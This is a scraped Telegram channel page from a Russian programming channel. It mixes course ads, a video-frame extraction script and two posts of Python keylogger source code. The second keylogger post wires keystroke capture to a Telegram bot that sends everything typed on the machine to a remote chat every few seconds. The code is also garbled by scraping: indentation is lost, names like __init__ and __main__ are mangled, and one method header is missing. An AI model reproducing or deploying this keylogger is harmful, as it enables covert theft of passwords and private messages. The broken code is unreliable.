Получи случайную криптовалюту за регистрацию!

Справочник Программиста

Логотип телеграм канала @programmersguide_1 — Справочник Программиста С
Логотип телеграм канала @programmersguide_1 — Справочник Программиста
Адрес канала: @programmersguide_1
Категории: Технологии
Язык: Русский
Количество подписчиков: 2.73K
Описание канала:

По рекламе и написанию кода на заказ - @it_start_programmer
Мои курсы - @courses_from_it_start_bot
Викторины по Python - @python_quizzes_tasks
Сайт - https://it-start.online/
Ютуб - https://www.youtube.com/@it_start

Рейтинги и Отзывы

3.33

3 отзыва

Оценить канал programmersguide_1 и оставить отзыв — могут только зарегестрированные пользователи. Все отзывы проходят модерацию.

5 звезд

1

4 звезд

0

3 звезд

1

2 звезд

1

1 звезд

0


Последние сообщения 2

2022-06-09 07:27:42
Наконец-то стал в рекомендации попадать.
Для тех, кто не знает, канал создан ещё в 14 году. Видео туда выкладывались очень редко, поэтому ни в реках, нигде он особо не показывался, кроме поиска. Благодаря почти году усердной работы над каналом, он наконец стал попадать в рекомендации, я долго этого ждал))

Кстати, сегодня видео выйдет ;)
861 views04:27
Открыть/Комментировать
2022-06-05 19:02:35 Связываем кейлоггер с телеграм ботом | Кейлоггер на python часть 2
Код из видео:

import keyboard
from threading import Timer
from datetime import datetime
import telebot
from telebot import types

bot = telebot.TeleBot('')

SEND_REPORT_EVERY = 5


class Keylogger:
def init(self, report_method, chat_id=None):
self.chat_id = chat_id
self.report_method = report_method
self.interval = SEND_REPORT_EVERY

self.log = ""
self.start_dt = datetime.now()
self.end_dt = datetime.now()

def callback(self, event):
name = event.name
if len(name) > 1:
if name == "space":
name = " "
elif name == "enter":
name = "[ENTER]\n"
elif name == "decimal":
name = "."
else:
name = name.replace(" ", "_")
name = f"[{name.upper()}]"
self.log += name

def update_filename(self):
start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")
end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")
self.filename = f"keylog-{start_dt_str}_{end_dt_str}"

def report_to_file(self):
with open(f"{self.filename}.txt", "w") as f:
print(self.log, file=f)
print(f"Сохранение {self.filename}.txt")

def send_bot(self, message):
bot.send_message(self.chat_id, message)

def report(self):
if self.log:
self.end_dt = datetime.now()
self.update_filename()
if self.report_method == "telegram":
self.send_bot(self.log)
elif self.report_method == "file":
self.report_to_file()
self.start_dt = datetime.now()
self.start_dt = datetime.now()

self.log = ""
timer = Timer(interval=self.interval, function=self.report)
timer.daemon = True
timer.start()

def start(self):
self.start_dt = datetime.now()
keyboard.on_release(callback=self.callback)
self.report()
keyboard.wait()


@bot.message_handler(commands=['start'])
def start_bot(message):
markup = types.InlineKeyboardMarkup()
run_bot = types.InlineKeyboardButton(text='Запустить bot', callback_data='start_keylogger_tg')
run_file = types.InlineKeyboardButton(text='Запустить file', callback_data='start_keylogger_file')
markup.add(run_bot, run_file)
bot.send_message(message.chat.id,
"Чтобы запустить кейлоггер, выберите куда выводить информацию и нажмите на соответствующую кнопку.",
reply_markup=markup)


@bot.callback_query_handler(func=lambda call: True)
def callback_worker(call):
if call.data == 'start_keylogger_tg':
keylogger = Keylogger(report_method="telegram", chat_id=call.from_user.id)
keylogger.start()
elif call.data == 'start_keylogger_file':
keylogger = Keylogger(report_method="file")
keylogger.start()


bot.polling()
883 views16:02
Открыть/Комментировать
2022-06-05 16:32:05

754 views13:32
Открыть/Комментировать
2022-06-05 13:29:48 Сегодня кстати последний день скидки на курс по tkinter.
Напоминаю, что потом он будет стоить 1000р.

А ещё сегодня выйдет вторая часть по созданию кейлоггера)
729 views10:29
Открыть/Комментировать
2022-06-01 16:53:26 Кейлоггер на Python
Код из видео:

class Keylogger:
def init(self, interval):
self.interval = interval

self.log = ""
self.start_dt = datetime.now()
self.end_dt = datetime.now()

def callback(self, event):
name = event.name
if len(name) > 1:
if name == "space":
name = " "
elif name == "enter":
name = "[ENTER]\n"
elif name == "decimal":
name = "."
else:
name = name.replace(" ", "_")
name = f"[{name.upper()}]"
self.log += name

def update_filename(self):
start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")
end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")
self.filename = f"keylog-{start_dt_str}_{end_dt_str}"

def report_to_file(self):
with open(f"{self.filename}.txt", "w") as f:
print(self.log, file=f)
print(f"Сохранение {self.filename}.txt")

if self.log:
self.end_dt = datetime.now()
self.update_filename()
self.report_to_file()
self.start_dt = datetime.now()
self.log = ""
timer = Timer(interval=self.interval, function=self.report)
timer.daemon = True
timer.start()

def start(self):
self.start_dt = datetime.now()
keyboard.on_release(callback=self.callback)
self.report()
keyboard.wait()


if name == "main":
Keylogger(interval=SEND_REPORT_EVERY).start()
822 views13:53
Открыть/Комментировать
2022-06-01 16:50:30

753 views13:50
Открыть/Комментировать
2022-05-29 08:11:21 У меня есть парочка новостей.
1. Спустя месяц я наконец-то закончил работу над курсом по библиотеке tkinter, и Вы можете приобрести его на boosty.
Первую неделю кстати будет скидка, и вместо 1000 рублей он будет стоить 500.
Подробное описание курса есть на моём сайте: https://it-start.online/kursy/sozdanie-graficheskogo-interfejsa-v-python-3-s-tkinter
boosty: https://boosty.to/it_start

2. Да, я зарегистрировался в boosty, и теперь все, кто хотел бы меня поддержать могут это сделать там.
В зависимости от уровня подписки Вам будут доступны различные бонусы. Например, всего за 150 рублей Вы сможете
смотреть видео на пару дней, а то и недель раньше, чем на ютубе (там кстати сейчас видео вышло про создание кейлоггера на python).

3. Для тех, кто хочет получить код приложения Операционной Системы на python есть отличная новость. Набрав 10 платных подписчиков,
я выложу код на boosty (и кстати, скоро 3 часть по данному приложению, все последующие обновления кода я тоже буду выкладывать на boosty).
931 viewsedited  05:11
Открыть/Комментировать
2022-05-28 16:37:06 Извлекаем кадры из видео в Python
Код из видео:

from moviepy.editor import VideoFileClip
import numpy as np
import os
from datetime import timedelta

SAVING_FRAMES_PER_SECOND = 10


def format_timedelta(td):
result = str(td)
try:
result, ms = result.split(".")
except ValueError:
return result + ".00".replace(":", "-")

ms = round(int(ms) / 10000)
return f"{result}.{ms:02}".replace(":", "-")


def main(video_file):
video_clip = VideoFileClip(video_file)
filename, _ = os.path.splitext(video_file)

if not os.path.isdir(filename):
os.mkdir(filename)

saving_frames_per_second = min(video_clip.fps, SAVING_FRAMES_PER_SECOND)
step = 1 / video_clip.fps if saving_frames_per_second == 0 else 1 / saving_frames_per_second

for current_duration in np.arange(0, video_clip.duration, step):
frame_duration_formatted = format_timedelta(timedelta(seconds=current_duration)).replace(":", "-")
frame_filename = os.path.join(filename, f"frame{frame_duration_formatted}.jpg")

video_clip.save_frame(frame_filename, current_duration)


video_file = 'путь_до_видео'
main(video_file)
811 views13:37
Открыть/Комментировать
2022-05-28 16:36:24

726 views13:36
Открыть/Комментировать
2022-05-27 06:56:46
https://it-start.online/articles/chisla-fibonachchi-na-python
764 views03:56
Открыть/Комментировать